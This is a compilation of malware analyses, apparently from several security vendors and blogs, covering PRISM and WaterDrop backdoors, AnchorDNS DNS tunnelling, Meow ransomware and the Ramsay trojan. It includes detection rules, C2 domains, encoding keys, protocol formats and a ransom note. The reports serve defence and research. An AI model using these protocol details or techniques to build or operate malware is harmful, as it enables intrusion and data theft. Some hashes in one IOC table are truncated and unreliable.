/tellmev2.x?v=7&act=touch&xid=
```
**WaterDrop v9**
Continuing the trend of previous versions, the changes on WaterDrop v9 are minimal. The only change found in this version is that instead of using a hard-coded ICMP password, the bot uses its own bot id as ICMP password to spawn reverse shells. The initial request format is:
```
/tellmev2.x?v=9&act=touch&xid=
```
**WaterDrop v12**
WaterDrop v12 is almost identical to its predecessors, with an enhancement to the backdoor stability. The initial request format is:
```
/tellmev2.x?v=12&act=touch&xid=
```
### AT&T Alien Labs Discovers Malware Family “PrismaticSuccessor”
Alien Labs began its research investigating the z0gg.me domain. Said domain resolves to an IP address that is shared by another twelve domains. Some of the overlapping domains are known PRISM C&C domains; however, z0gg.me is contacted by several samples that also reach out to github.com. Particularly, samples were observed contacting the “https://github.com/lirongchun/i” repository.
In this repository, we can observe the following files:
- Three documents containing an IP address (README.md) and a port number (README1.md and MP.md).
- A bash script for dirty cow (CVE-2016-5195) exploitation, named “111.”
- Several ELF binaries, including:
- `git`: A custom malware implant
- `ass`: The open-source security tool named “hide my ass” compiled for the x64 architecture
- `ass32`: The open-source security tool named “hide my ass” compiled for the x86 architecture
As the actor is using a public git repository to host its malware and infrastructure information, we can obtain the historical data and see its evolution. For example, we can gather all the IP addresses that the actor has used as C&C servers.
It is also notable that the malware implant has received several updates over time. We can pull all the binaries uploaded to the repository that are not open-source security tools.
Grouping them by size, we observed two different clusters: one containing samples that are around 15K and another around 1.1MB. After a quick triage, we assessed that the light-weight binaries are standard PRISM backdoors, while the bigger sized binaries belong to another malware family. Given the git’s history, we were able to observe how the actor started using the PRISM backdoor for their operations, and then on July 16, 2019, switched to the custom implant.
The following binary analysis of said custom implants uses a sample with SHA256 `aaeee0e6f7623f0087144e6e318441352fef4000e7a8dd84b74907742c244ff5` as a reference.
The binaries from this particular malware family are quite large in size (1-3 MB compared to the ~15KB of the typical PRISM binary). This is due to the binaries having `libcurl` statically compiled into them, which is evident due to the presence of known `libcurl` strings. We have named this malware family “PrismaticSuccessor.”
By decompiling the main function, Alien Labs observed that the binary takes an optional parameter. If said parameter is the character “9,” it prints the configuration. For these binaries, the configuration consists of two URLs: 1) HostUrl is used to fetch the C&C host and 2) PortUrl is used to fetch the port number to contact the previous host on.
We have also observed that immediately after these actions, the malware attempts to open and lock `/var/lock/sshd.lock`. If it fails to do so, it fakes a segmentation fault. This procedure ensures that the malware is not already running in the machine.
Next, the malware decrypts a string containing a process name, which is used to overwrite “argv”. This technique avoids using `prctl`. The possible command line arguments are also smashed and replaced by the whitespace character.
Note that the `aMcwfkvf` variable contains the “[mcwfkvf]” value, which is decrypted to “[kauditd]” in “src.” The decryption routine is ROT13 with -2 as key. This particular ROT13 only rotates lower- and upper-case letters, not symbols or numbers.
The above actions conclude the environment setup process for the malware. Next, the malicious activity begins, which includes spawning child processes, so the malware can multitask. This also makes it harder to trace the malware.
### Spawning Child Processes
The first fork terminates the parent and only lets the child continue – the first-order child. This first-order child will fork again, spawning a second-order child. The first-order child will execute the “While” loop body endlessly, spawning three additional child processes (third-order children). The second-order child will contact the fallback C&C server.
The second-order child will open a reverse shell session to a fallback hard-coded C&C server. The sample ships with up to three C&C addresses, encrypted with ROT13. These addresses attempt to resolve via `gethostbyname`. The first one that resolves successfully is contacted on TCP port 80. For this particular sample, the secondary C&C address list is “z0gg.me”, “x63.in” and “x47.in.”
The server is also required to reply with a password in order for the reverse shell to be successfully established. However, the required password is not shipped in the binary. Instead, the malware calculates the MD5 hash of the replied buffer and compares it to the hard-coded value “ef4a85e8fcba5b1dc95adaa256c5b482”.
This communication is performed whether the primary C&C server is successfully contacted or not. The primary C&C server does not include a password mechanism.
The first of the third-order child processes gets the C&C host and port from GitHub and opens a reverse shell to the IP:PORT indicated in those URLs. The function to spawn a shell to a host is very similar to the one found in PRISM’s source code, if not identical.
If it fails to spawn the shell, the child dies and the whole process will be reattempted in 15 seconds. The other two third-order child processes jump to shellcode routines. These routines are encrypted with a hard-coded 8-byte XOR key and include a small self-decrypting stub.
When Alien Labs searched for the obtained command lines, we got an interesting result in StackOverflow where a user complains about a suspicious process in their machine. This indicates that the threat is being used in the wild.
### Other Variants
We have observed other actors using the PRISM backdoor for their operations. However, in the majority of these cases, the actor(s) use the original PRISM backdoor as is, without performing any major modifications. This fact, combined with the open-source nature of the backdoor, impedes us from properly tracking the actor(s) activity.
## Conclusion
PRISM is an open-source simplistic and straightforward backdoor. Its traffic is clearly identifiable and its binaries are easy to detect. Despite this, PRISM’s binaries have been undetected until now, and its C&C server has remained online for more than 3.5 years. This shows that while bigger campaigns that receive more attention are usually detected within hours, smaller ones can slip through.
Alien Labs expects the adversaries to remain active and conduct operations with this toolset and infrastructure. We will continue to monitor and report any noteworthy findings.
## Detection Methods
The following associated detection methods are in use by Alien Labs. They can be used by readers to tune or deploy detections in their own environments or for aiding additional research.
### SURICATA IDS Signatures
```
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AV TROJAN WaterDropX CnC Beacon"; flow:established,to_server; content:"GET"; http_method; content:"v="; http_uri; content:"act="; http_uri; content:"agent-waterdropx"; http_user_agent; startswith; endswith; reference:md5,5b714b1eb765493f2ff77e068a7c1a4f; classtype:trojan-activity; sid:4002615; rev:1;)
```
### OSQUERY Queries
```
SELECT path as file_name, directory as file_path, uid as source_userid, gid as user_group_id, 'WaterDropx backdoor' as malware_family from file WHERE path = '/etc/.xid';
```
### YARA Rules
```yara
rule PRISM {
meta:
author = "AlienLabs"
description = "PRISM backdoor"
reference = "https://github.com/andreafabrizi/prism/blob/master/prism.c"
strings:
$s1 = "I'm not root :("
$s2 = "Flush Iptables:\t"
$s3 = " Version:\t\t%s\n"
$s4 = " Shell:\t\t\t%s\n"
$s5 = " Process name:\t\t%s\n"
$s6 = "iptables -F 2> /dev/null"
$s7 = "iptables -P INPUT ACCEPT 2> /dev/null"
$s8 = " started\n\n# "
$c1 = {
E8 [4] 8B 45 ?? BE 00 00 00 00 89 C7 E8 [4] 8B 45 ?? BE 01 00 00 00
89 C7 E8 [4] 8B 45 ?? BE 02 00 00 00 89 C7 E8 [4] BA 00 00 00 00
BE [4] BF [4] B8 00 00 00 00 E8
}
$c2 = {
BA 00 00 00 00
BE 01 00 00 00
BF 02 00 00 00
E8 [4]
89 45 [1]
83 ?? ?? 00
}
condition:
uint32(0) == 0x464C457F and
filesize < 30KB and
(4 of ($s*) or all of ($c*))
}
rule PrismaticSuccessor : LinuxMalware {
meta:
author = "AlienLabs"
description = "Prismatic Successor malware backdoor"
reference = "aaeee0e6f7623f0087144e6e318441352fef4000e7a8dd84b74907742c244ff5"
copyright = "Alienvault Inc. 2021"
strings:
$s1 = "echo -e \""
$s2 = "[\x1B[32m+\x1B[0m]`/bin/hostname`"
$s3 = "[\x1B[32m+\x1B[0m]`/usr/bin/id`"
$s4 = "[\x1B[32m+\x1B[0m]`uname -r`"
$s5 = "[+]HostUrl->\t%s\n"
$s6 = "[+]PortUrl->\t%s\n"
$s7 = "/var/run/sshd.lock"
$shellcode = {
48 31 C9
48 81 E9 [4]
48 8D 05 [4]
48 BB [8]
48 31 [2]
48 2D [2-4]
E2 F4
}
$c1 = {
8B 45 ??
BE 00 00 00 00
89 C7
E8 [4]
8B 45 ??
BE 01 00 00 00
89 C7
E8 [4]
8B 45 ??
BE 02 00 00 00
89 C7
E8 [4]
8B 45 ??
BA [4]
BE [4]
89 C7
E8
}
condition:
uint32(0) == 0x464C457F and
filesize > 500KB and filesize < 5MB and
5 of ($s*) and
all of ($c*) and
#shellcode == 2
}
```
## Associated Indicators (IOCs)
The following technical indicators are associated with the reported intelligence. A list of indicators is also available in the OTX Pulse. Please note, the pulse may include other activities related but out of the scope of the report.
| TYPE | INDICATOR | DESCRIPTION |
|-------|---------------------------------------------------------------------------|------------------------------|
| SHA25 | 05fc4dcce9e9e1e627ebf051a190bd1f73bc83d876c78c6b3d86fc97b0d | PRISM v0.5 |
| SHA25 | 0af3e44967fb1b8e0f5026deb39852d4a13b117ee19986df5239f897914 | PRISM v0.5 |
| SHA25 | 0f42b737e30e35818bbf8bd6e58fae980445f297034d4e07a7e62a606d2 | Tiger0.5 |
| SHA25 | 0fba35856fadad942a59a90fc60784e6cceb1d8002af96d6cdf8e8c3533 | PRISM v0.5 (stripped down) |
| SHA25 | 342e7a720a738bf8dbd4e5689cad6ba6a4fc6dd6808512cb4eb294fb3ec | PRISM v0.5 (stripped down) |
| SHA25 | 3a3c701e282b7934017dadc33d95e0cc57e43a124f14d852f39c2657e00 | PRISM v0.5 (stripped down) |
| SHA25 | 5999c1a4a281a853378680f20f6133e53c7f6d0167445b968eb49b844f3 | PRISM v0.5 (stripped down) |
| SHA25 | 98fe5ed342da2b5a9d206e54b5234cfeeed35cf74b60d48eb0ef3dd1d7d | PRISM v1 |
| SHA25 | a8c68661d1632f3a55ff9b7294d7464cc2f3ece63a782c962f1dc43f0f9 | Udevd v1.0 |
| SHA25 | af55b76d6c3c1f8368ddd3f9b40d1b6be50a2b97b25985d2dde1288ceab | PRISM v0.5 (stripped down) |
| SHA25 | b6844ca4d1d7c07ed349f839c861c940085f1a30bbc3fc4aad0b496e8d4 | WaterDropx v12 |
| SHA25 | b8215cafbea9c61df8835a3d52c40f9d2c6a37604dd329ef784e9d92bad | PRISM v0.5 |
| SHA25 | b8cceb317a5d2febcd60318c1652af61cd3d4062902820e79a9fb9a4717 | PRISM v0.5 |
| SHA25 | be7ec385e076c1c1f676d75e99148f05e754ef5b189e006fb53016ce9ae | PRISM v0.5 |
| SHA25 | c679600b75c6e84b53f4e6e21f3acbec1621c38940c8f3756d0b027c7a0 | PRISM v0.5 |
| SHA25 | c802fa50409edf26e551ee0d134180aa1467a4923c759a2d3204948e14 | PRISM v0.5 |
| SHA25 | c8525243a68cba92521fb80a73136aaa19794b4772c35d6ecfec0f82eca | PRISM v0.5 |
| SHA25 | d3fa1155810be25f9b9a889ee64f845fc6645b2b839451b59cfa77bbc47 | WaterDropx v9 |
| SHA25 | dd5f933598184426a626d261922e1e82cb009910c25447b174d46e9cac3 | WaterDropx v7 |
| SHA25 | e14d75ade6947141ac9b34f7f5743c14dbfb06f4dfb3089f82595d9b067 | PRISM v2.2 |
| SHA25 | f126c4f8b4823954c3c69121b0632a0e2061ef13feb348eb81f634379d0 | PRISM v3 |
| DOMAI | 457467.com | Command & Control server |
| DOMAI | rammus.me | Command & Control server |
| DOMAI | wa1a1.com | Command & Control server |
| DOMAI | waterdropx.com | Command & Control server |
| DOMAI | z0gg.me | Command & Control |
| DOMAI | x63.in | Command & Control |
| DOMAI | x47.in | Command & Control |
| URL | https://github.com/lirongchun/i/ | Malicious git repository |
| IP | 45.199.88.86 | Command & Control |
## Mapped to MITRE ATT&CK
The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques:
- TA0010: Exfiltration
- T1041: Exfiltration Over C2 Channel
- TA0002: Execution
- T1059: Command and Scripting Interpreter
- TA0005: Defense Evasion
- T1027: Obfuscated Files or Information
- T1564: Hide Artifacts
- T1562: Impair Defenses
- T1014: Rootkit
- T1036: Masquerading
**Tags:** malware, malware research, alienvault labs, prism |
# Adjusting the Anchor
**Authored by:** Kryptos Logic Vantage Team on Thursday, July 15, 2021
**Tags:** anchor
## Overview
AnchorDNS is a backdoor used by the TrickBot actors to target selected high-value victims. It has been seen delivered by both TrickBot and Bazar1 malware campaigns. AnchorDNS is particularly difficult to track given that it is deployed only post-infection and only after a period of reconnaissance, once the malware operators have established that the target is of special interest.
Following analysis of AnchorDNS samples published in recent reporting, we have observed that the C2 communications protocol of AnchorDNS has changed. We also see the use of another Anchor component called AnchorAdjuster. The newer variants contain a modification to the structure of the messages sent to the C2 and have added additional encryption routines when creating the DNS queries. Data received from the C2 is now encoded, thereby making the traffic less obvious.
In this post, we analyze the role that AnchorAdjuster plays and outline the changes made to the communication protocol by the recent AnchorDNS samples.
## AnchorAdjuster
AnchorAdjuster is a tool that is used to modify an AnchorDNS sample with an updated config and the victim’s UUID. The tool is executed by an external command and has been seen being run by CobaltStrike. A valid series of arguments need to be passed to the AnchorAdjuster for it to execute successfully. If arguments are not passed, the tool outputs a message onto the console detailing the arguments required:
```
anchorAdjuster --source=<source file> --target=<target file> --domain=<domain name> --period=<recurrence interval, minutes, default value 15> -guid
```
### Below is a description of the arguments:
| Argument | Description | Requirements |
|------------|--------------------------------------------------------------------------|--------------|
| --source | AnchorDNS sample with a blank config | Required |
| --target | Name to save the modified AnchorDNS sample | Required |
| --domain | Domain C2s to save as config | Required |
| --period | Interval between each cycle of DNS queries; default is 15 minutes | Optional |
| --lasthope | Number of communication attempts; default is 100 | Optional |
| -guid | Flag for initializing the Victim’s UUID in the sample | Required |
The AnchorAdjuster tool works as follows:
Firstly, if it finds a 16-byte string of `AAAAAAAAAAAAAAAA` in the AnchorDNS bot, it rewrites it with a UUID that it generates by calling `CoCreateGuid`. This creates a UUID unique to the victim machine. The string `AAAAAAAAAAAAAAAA` acts as a placeholder for the UUID and is typically stored in the `.rand` section.
Secondly, if it finds a 66-byte string of all `B`s, it overwrites this string with XOR encoded C2s. The C2s are the values that were passed to the AnchorAdjuster’s `--domain` argument. The XOR key used is a hardcoded hex value `0x23`.
Finally, using the name passed to the `--target` argument, the tool creates a new AnchorDNS bot with these modifications.
### Below is an example standard output log from the tool after successful execution:
```
source file size 347648
guid: 743E900F5861EF468E120559E9D23EF8, shift 0x00053C00(343040)
domain: shift 0x00053A04(342532)
OK
```
This technique reuses an AnchorDNS sample to be able to communicate to new C2s that it provides, without having to re-compile an entirely new AnchorDNS binary. This also helps the threat actors to hide any new C2s created, especially if the AnchorDNS sample were to be discovered by a threat researcher.
## AnchorDNS
AnchorDNS communicates to its C2 servers using DNS Tunneling. Using the DNS protocol for command & control benefits AnchorDNS because such requests are often allowed to pass through firewalls. Using this method, AnchorDNS is able to exfiltrate data to its C2s in the form of DNS queries. The data is encoded and made to appear as subdomains. In addition, the C2 can communicate back to the bot by sending information in the form of DNS A records whereby the data is reconstructed by the bot based on AnchorDNS’s specific format.
### Review on how AnchorDNS works
To get a better grasp on what new changes have been implemented to this DNS communication, this section will do a quick high-level review on how AnchorDNS works.
1. Upon initial execution, AnchorDNS gains persistence on the machine by creating a scheduled task that is set to run every 15 minutes. The frequency of the scheduled task can be modified again by the bot if the C2 sends a command with instructions to do so.
2. Each run cycle involves a series of commands transmitted as DNS queries between the bot and the C2.
- Initial beacon message.
- Request from the bot for command to be executed.
- Request from the bot for a payload (if the command requires one).
- Send report on the command’s execution.
### Preparing the messages for the C2
The name of the bot at the start of the message has changed from `anchor_dns` to `stickseed`. This new name is very different from that of the name used in the past variants. One possible explanation is that `tick` in `stickseed` represents the Windows API `GetTickCount` and `seed` for a pseudorandom number generator, the two functions that we see being frequently used in the new variant.
The GUID created by the Bot is recorded by the C2 to keep track of the different infected machines. The format of the GUID is as follows:
```
<Computer_Name>_W<major version><minor version><version build number>.<16 bytes UUID>
```
The 16-byte UUID is hardcoded in the `.rand` section of the AnchorDNS PE file. If there are no 16 bytes in the `.rand` section or if there is a string `AAAAAAAAAAAAAAAA` in that section, the bot skips making any DNS queries.
### Example GUID:
```
ADMINWIN10_W629200.1BDD88D8278746A68CE4BCF8DCF27B7E
```
### Below is a summary of the messages and the command sent to the C2:
| C2 Command | Description | Info sent by New Variant | Info sent by Previous Variant |
|------------|--------------------|--------------------------------------------------------------|------------------------------------------------------------|
| 0 | Register Bot | /stickseed/<GUID>/0/<Windows OS Type>/1001/<Bot IP>/<32 random hex bytes>/<32 random alphanumeric characters>/ | /anchor_dns/<GUID>/0/<Windows OS Type>/1001/<Bot IP>/<32 random hex bytes>/<32 random alphanumeric characters>/ |
| 1 | Request Bot command | /stickseed/<GUID>/1/<32 random alphanumeric characters>/ | /anchor_dns/<GUID>/1/<32 random alphanumeric characters>/ |
| 5 | Request File | /stickseed/<GUID>/5/<filename> | /anchor_dns/<GUID>/5/<filename> |
| 10 | Send result of Bot command execution | /stickseed/<GUID>/10/<Bot Command ID>/<Result of Command execution>/ | /anchor_dns/<GUID>/10/<Bot Command ID>/<Result of Command execution>/ |
### The DNS Queries
Each message above, made by the AnchorDNS bot, to send to the C2 involves a sequence of 3 types of DNS queries. This order is still maintained in the new variants. The table below shows a summary of the sequence of DNS queries made:
| Query Order | Info Sent | Info Received |
|-------------|----------------------------------------------------------|----------------------------------------|
| 0 | Send info including command | Receive IP record from C2 |
| 1 | Convert IP to identifier and send to C2 | Receive IP record from C2 |
| 2 | Convert IP to size; send identifier and size to C2 | Receive data in the form of multiple IP records |
### Crafting the Queries
The new variants make changes to the way in which the queries are crafted.
#### Old Variant:
To better understand the changes made, this section will briefly review how the queries were crafted in the previous variants. Each query would contain information about the query type and a 16-byte UUID. The query type would inform the C2 on what type of message it is receiving and the UUID helps it keep track of the queries. If the crafted query is type 0, the message gets divided into parts. This is to ensure that the length of the query remains under 255 characters. Finally, the queries are XOR’ed with the key `0xb9`. This is the only encoding we see in the previous variants.
| Query Order | Type | Old Variant Format | Encoding |
|-------------|------|--------------------------------------------------------------------------|------------|
| 0 | 0 | 0<UUID><(BYTE)Current Part><(BYTE)Total Parts><Divided Message> | xor with 0xb9 |
| 1 | 1 | 1<UUID><(DWORD)Identifier> | xor with 0xb9 |
| 2 | 2 | 2<UUID><(DWORD)Identifier><(DWORD)Size> | xor with 0xb9 |
#### New Variant:
In the new variant, before a query is crafted, the message in each DNS query type is XOR’ed with the key `United States of America (USA)`. After encoding the message, a 16-byte UUID is generated for each query type (like the previous variant, the UUID is for the C2 to keep track of the query) and is further encoded with a custom Base32 algorithm using the custom dictionary `dghbcijklmnfqrwxyz23stuopaev4569`.
The bot then calculates if the message needs to be divided into parts for all 3 DNS query types (in the previous variant we see this for only the query type 0).
### Below is a python function that calculates the number of parts a message would get divided into and the size of each part:
```python
import random
def get_parts(msg_len: int, c2_len: int) -> list():
blocks = list()
foo = 5 * (0xba - 0x1a - c2_len - 8)
fee = ((foo & 7) + foo) >> 3
faa = fee * 0.85
if faa > (fee - 5):
faa = (fee - 5) * 0.85
i, count = 0, 0
while i < msg_len:
block_sz = msg_len - i
if (msg_len - i) > fee:
rand = random.randint(0, 0x7fff)
fii = fee - 5
if count:
fii = fee
block_sz = int(((rand * (fii - faa)) / 32767.0) + faa)
i += block_sz
count += 1
blocks.append(block_sz)
return blocks
```
In the new variant, the DNS query types are labeled differently (but still follow the same order as the previous):
| Query Order | Query Type | Message |
|-------------|------------|----------------------------------------------------------|
| 0 | 0x0001 | /stickseed/<GUID>/<C2 Command>/<Info if any>/ |
| 1 | 0xfffe | <Identifier DWORD> |
| 2 | 0xffff | <Identifier DWORD><Size in DWORD of data received> |
For each divided message part, additional information is appended. The resulting data is encoded with a custom Base32 algorithm and the encoded Base32 UUID is appended at the end.
### Query Responses
The query responses for each DNS query type have been slightly modified. Before the start of making the 3 types of DNS queries, the bot tries to resolve the C2 domain to an IP address. This IP address is used as a check by the bot to confirm if the C2 has received the message. Below is a table on what each response means.
| C2 IP Record Response | Description |
|---------------------------------------------|------------------------------------------------------|
| 255.255.255.255 | Retry, cannot reach |
| <C2_IP> | Message received by C2, send next message part of the query type |
| 239.255.255.255 | Sleep and retry |
| Single IP | For query type 0xfffe, the IP is the identifier |
| Multiple IPs | For query type 0xffff, the IPs form as a structure for the Bot to parse to data |
As with the previous version, the DNS query type 0xffff responds with multiple IP records. These records form a particular structure, whereby the final message is constructed. The change seen is that the resulting data built from the IP records is XOR encoded. The key to decode the message is `Miguel de Cervantes Saavedra`.
## Conclusion
Despite their simplicity, the changes seen in AnchorDNS are still effective in evading detection. The use of AnchorAdjuster allows the threat actors to modify the AnchorDNS backdoor in-place, providing a stealthy way to add fresh C2s that have been created for new targets. The actors behind AnchorDNS continue to actively develop their toolset, increasing flexibility and raising the barrier for detection.
## IOCs
| SHA256 | Description |
|------------------------------------------------------------------------------------------------|---------------------------|
| cbff159d0b178734248209ae70565d09dddf397ea4e897bf99206ddd74673e6f | AnchorDNS 64-bit DLL |
| a8a8c66b155fcf9bfdf34ba0aca98991440c3d34b8a597c3fdebc8da251c9634 | AnchorDNS 64-bit DLL |
| 9fdbd76141ec43b6867f091a2dca503edb2a85e4b98a4500611f5fe484109513 | AnchorDNS 64-bit DLL |
| ba801f1c2e2c5f5cd961e887cb0776f2d5cee8d17164f29b138a8952dd162165 | AnchorDNS 64-bit DLL |
| 0d6a10df6eeb1dbb88b4d625873ed13daa367e165374a72daa16170af3ee31a0 | AnchorDNS 64-bit DLL |
| f93b838dc89e7d3d47b1225c5d4a7b706062fd8a0f380b173c099d0570814348 | AnchorAdjuster 64-bit EXE |
| 3ab8a1ee10bd1b720e1c8a8795e78cdc09fec73a6bb91526c0ccd2dc2cfbc28d | AnchorAdjuster 64-bit EXE |
| c1ae70683da042792a504847b426a55cdcbca80dca12517f581a4e089a1f8932 | AnchorAdjuster 64-bit EXE |
## C2s
- farfaris[.]com
- kalarada[.]com
- xyskencevli[.]com
- sluaknhbsoe[.]com
- jetbiokleas[.]com
- nyhgloksa[.]com |
# Meow Ransomware
## MeowCorp2022 Ransomware
(ContiStolen Ransomware)
Этот крипто-вымогатель основан на коде, украденном у Conti-2 Ransomware, является его модифицированным вариантом. Он шифрует данные на взломанных серверах с помощью алгоритма ChaCha20, а затем требует связаться с вымогателями по email или в Telegram, чтобы узнать как заплатить выкуп и вернуть файлы. Оригинальное название: в заголовке записки есть фраза "MEOW! MEOW! MEOW!", а в логинах повторяется "meowcorp2022".
---
**Обнаружения:**
- DrWeb -> Trojan.Encoder.35892
- BitDefender -> Gen:Variant.Lazy.228618
- ESET-NOD32 -> A Variant Of Win32/Filecoder.Conti.R
- Kaspersky -> HEUR:Trojan-Ransom.Win32.Conti.gen
- Malwarebytes -> Ransom.Conti.Generic
- Microsoft -> Ransom:Win32/Conti.IPA!MTB
- Rising -> Ransom.Conti!1.DE02 (CLASSIC)
- Tencent -> Win32.Trojan.Filecoder.Etgl
- TrendMicro -> Ransom.Win32.CONTI.SMTH.hp
---
**Генеалогия:** CONTI-2 (stolen code) >> Meow
Сайт "ID Ransomware" Meow пока не идентифицирует.
**Информация для идентификации**
Активность этого крипто-вымогателя была в конце августа - в первой половине сентября 2022 г. Ориентирован на англоязычных пользователей, может распространяться по всему миру. К зашифрованным файлам добавляется расширение: .MEOW. Записка с требованием выкупа называется: readme.txt.
На скриншотах записки, открытой в браузере и в обычном Блокноте, видно, что после ID тянется еще шлейф пропусков или невидимых символов. Если будет повторяться в последующих вариантах, то это можно считать характерным признаком.
**Содержание записки о выкупе:**
MEOW! MEOW! MEOW!
Your files has been encrypted!
Need decrypt? Write to e-mail:
meowcorp2022@aol.com
meowcorp2022@proton.me
meowcorp@msgsafe.io
meowcorp@onionmail.org
or Telegram:
@meowcorp2022
@meowcorp123
Uniq ID: eabc2ef6-246a-482c-8c20-c306d0ada***
**Перевод записки на русский язык:**
МЯУ! МЯУ! МЯУ!
Ваши файлы были зашифрованы!
Нужна расшифровка? Пишите на почту:
meowcorp2022@aol.com
meowcorp2022@proton.me
meowcorp@msgsafe.io
meowcorp@onionmail.org
или Telegram:
@meowcorp2022
@meowcorp123
Uniq ID: eabc2ef6-246a-482c-8c20-c306d0ada***
✋ **Внимание!** Новые элементы идентификации: расширения, email, записки о выкупе можно найти в конце статьи, в обновлениях. Они могут отличаться от первого варианта.
**Технические детали + IOC**
Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. См. также "Основные способы распространения криптовымогателей" на вводной странице блога.
✋ **Внимание!** Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1.
**Список типов файлов, подвергающихся шифрованию:**
Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр.
**Список пропускаемых типов файлов:**
.exe и текстовые файлы записок.
**Файлы, связанные с этим Ransomware:**
- readme.txt - название файла с требованием выкупа;
- <random>.exe - случайное название вредоносного файла.
**Расположения:**
- \Desktop\ ->
- \User_folders\ ->
- \%TEMP%\ ->
**Записи реестра, связанные с этим Ransomware:**
См. ниже результаты анализов.
**Мьютексы:**
См. ниже результаты анализов.
**Сетевые подключения и связи:**
Email:
meowcorp2022@aol.com,
meowcorp2022@proton.me,
meowcorp@msgsafe.io,
meowcorp@onionmail.org
Telegram:
@meowcorp2022,
@meowcorp123
BTC: -
См. ниже в обновлениях другие адреса и контакты.
**Результаты анализов:**
- MD5: 033acf3b0f699a39becdc71d3e2dddcc
- SHA-1: 5949c404aee552fc8ce29e3bf77bd08e54d37c59
- SHA-256: 222e2b91f5becea8c7c05883e4a58796a1f68628fbb0852b533fed08d8e9b853
- Vhash: 025056655d15556az4oz15z27z
- Imphash: 393974af133d6ece27fff97c28840d99
Степень распространённости: низкая. Информация дополняется. Присылайте образцы.
---
### ИСТОРИЯ СЕМЕЙСТВА
### БЛОК ОБНОВЛЕНИЙ
**Вариант от 11-12 сентября 2022:**
- Расширение: .MEOW
- Записка: readme.txt
- Email:
meowcorp2022@aol.com
meowcorp2022@proton.me
meowcorp@msgsafe.io
meowcorp@onionmail.org
- Telegram:
@meowcorp321
@meowcorp123
@meowcorp2022
--- |
# Why On-Device Detection Matters: New Ramsay Trojan Targets Air-Gapped Networks
The Ramsay “framework” emerged in late 2019 and was disclosed thanks to a discovery by researchers querying the VirusTotal public malware repository. As of April 2020, there appear to be two fully maintained branches of the toolkit. Although in-the-wild instances of the Ramsay malware appear to be low at present, this may be due to the malware’s highly specialized objectives. The Ramsay samples discovered to date are heavily focused on both persistence and data exfiltration from air-gapped environments. This suggests the possibility that the malware was developed for advanced targeted campaigns by a threat actor primarily interested in organizations trying to protect the most sensitive of information. As is often the case with specialized malware, there is also a real danger of it “leaking” or being repurposed to targets that were not in the original threat actors’ sights.
## Ramsay Distribution and Persistence
The original version of Ramsay was distributed via maliciously crafted Office documents. These documents were distributed via email and were designed to exploit CVE-2017-0199 to facilitate the installation of the malware. CVE-2017-0199 is a remote code execution flaw in Microsoft Word. Specifically, it allows attackers to retrieve and launch code, including VBS & PowerShell, upon launching of a specially crafted RTF document. Several versions of these malicious Word documents were discovered on VirusTotal with names such as “access_test.docx” and “Test.docx”, indicating that the threat actors may have been evaluating how well their malware fared against vendors’ static engines.
Later versions of Ramsay (v2.a/2.b) were distributed as trojanized installers for well-known applications such as 7zip. These later versions also included an aggressive spreading mechanism that locates local and network adjacent PE files and infects them to allow for further spreading in targeted environments. Version 2.b was also seen to be exploiting CVE-2017-11882. This vulnerability allows attackers to achieve arbitrary code execution as the current user in MS Office 2016 and several earlier Office Service Pack versions. Both CVE-2017-0199 and CVE-2017-11882 are used for exploitation of client execution (MITRE T1203) purposes.
Along with the spreading capabilities, Ramsay includes multiple techniques for maintaining persistence. These include:
- AppInitDLL Registry Key Entries
- Scheduled Tasks
- DLL Hijacking
While early versions used well-known persistence techniques such as loading custom DLLs into other application processes’ address space and task scheduling, later versions leverage DLL Hijacking, specifically targeting msfte.dll and oci.dll dependencies of the Microsoft Search Service and the Microsoft Distributed Transaction Coordinator service, respectively.
## Ramsay Observed Behavior
Ramsay’s main goal is data collection and exfiltration. Immediately upon infection, the trojan will begin to locate specific document types, particularly MS Word and PDF format files, and store them in a customized location. The items are also archived and encrypted via RC4, and subsequently compressed with an instance of WinRar installed by the trojan. It should be noted that Ramsay will attempt to collect documents from both local and remote locations where possible. Ramsay also has some built-in “intelligence” to avoid the collection of duplicate/redundant files.
The analysis is ongoing with respect to the data exfiltration mechanism. Current intelligence indicates that an additional component will locate the collected “containers” of documents from infected hosts, identified by special file markers. When the containers are located, and a Ramsay control file is located on the affected network, data exfiltration can occur via this additional component. Ramsay uses intra-network control files to operate, as opposed to a central command-and-control infrastructure. Spreading is handled via an additional component, dropped by the main installer. This component will scan and locate accessible drives/locations (excluding A: and B: reserved devices).
Given some level of code reuse, there may be correlation between Ramsay and the Retro Backdoor associated with Darkhotel. As with the data exfiltration piece, analysis of this relationship is ongoing.
## Does SentinelOne Protect Against Ramsay Malware?
Yes, it does. Organizations secured by the SentinelOne platform are fully protected against the threat from Ramsay malware. Even when the network is disconnected, such as with an air-gapped device, the SentinelOne agent will detect the malware locally on-device.
## Conclusion
The Ramsay framework is a novel malware toolkit that appears to be under active development by a sophisticated threat actor. While current telemetry suggests this is a highly targeted attack focused on specific environments, history suggests that a malware toolkit of this nature could soon ‘spread its wings’ and represent a threat to a much wider audience. Moreover, the discovery of this new toolkit targeting air-gapped machines highlights the importance of having a behavioral, AI-driven security solution that can actively detect and respond to threats on the local device without solely relying on cloud connectivity, human analysts, or static reputation engines.
## Sample Hashes for Ramsay Malware
SHA1: f79da0d8bb1267f9906fad1111bd929a41b18c03
SHA256: e60c79a783d44f065df7fd238949c7ee86bdb11c82ed929e72fc470e4c7dae97
SHA1: 3849e01bff610d155a3153c897bb662f5527c04c
SHA256: 22b2de8ec5162b23726e63ef9170d34f4f04190a16899d1e52f8782b27e62f24
SHA1: bd97b31998e9d673661ea5697fe436efe026cba1
SHA256: aceb4704e5ab471130e08f7a9493ae63d3963074e7586792e6125deb51e40976
SHA1: e7987627200d542bb30d6f2386997f668b8a928c
SHA256: 610f62dd352f88a77a9af56df7105e62e7f712fc315542fcac3678eb9bbcfcc6
SHA1: ae722a90098d1c95829480e056ef8fd4a98eedd7
SHA256: 823e21ffecc10c57a31f63d55d0b93d4b6db150a087a92b8d0e1cb5a38fb3a5f
SHA1: 19bf019fc0bf44828378f008332430a080871274
